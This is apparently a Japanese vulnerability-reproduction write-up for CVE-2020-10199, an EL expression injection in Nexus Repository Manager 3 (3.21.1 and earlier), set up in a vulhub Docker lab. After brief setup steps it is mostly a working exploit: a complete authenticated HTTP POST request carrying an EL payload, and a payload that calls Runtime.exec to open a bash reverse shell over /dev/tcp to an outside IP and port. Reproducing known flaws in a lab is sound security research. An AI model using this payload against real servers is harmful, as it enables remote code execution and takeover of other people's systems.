前書き
Nexus Repository Manager 3は、MavenやNuGETなどのソフトウェアソースリポジトリを保存および配布するために使用できるソフトウェアリポジトリです。3.21.1以前のバージョンでは、任意のEL式インジェクションの脆弱性があります。
影響を受けるバージョン
NexusリポジトリマネージャーOSS / Pro 3.x <= 3.21.1
参照リンク
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10199/README.md
- https://github.com/jas502n/CVE-2020-10199
環境設定
Docker環境+ vulhub。
git clone https://github.com/vulhub/vulhub.git
対応するディレクトリを入力します。
docker-compose up -d
スタートアップ環境を使用します。
環境を開始した後、次のサイトにアクセスしてくださいip:8081
。
脆弱性の再発
アカウントのパスワードをadmin:admin
使用して、バックグラウンドでログインします。
ログイン後、現在のCookieとCSRFトークンをコピーし、次のデータパケットを送信して、EL式を実行します。
データパケット:
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{9*9}"]
}
}
リバースシェル:
"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.133.129/7777<&1')}"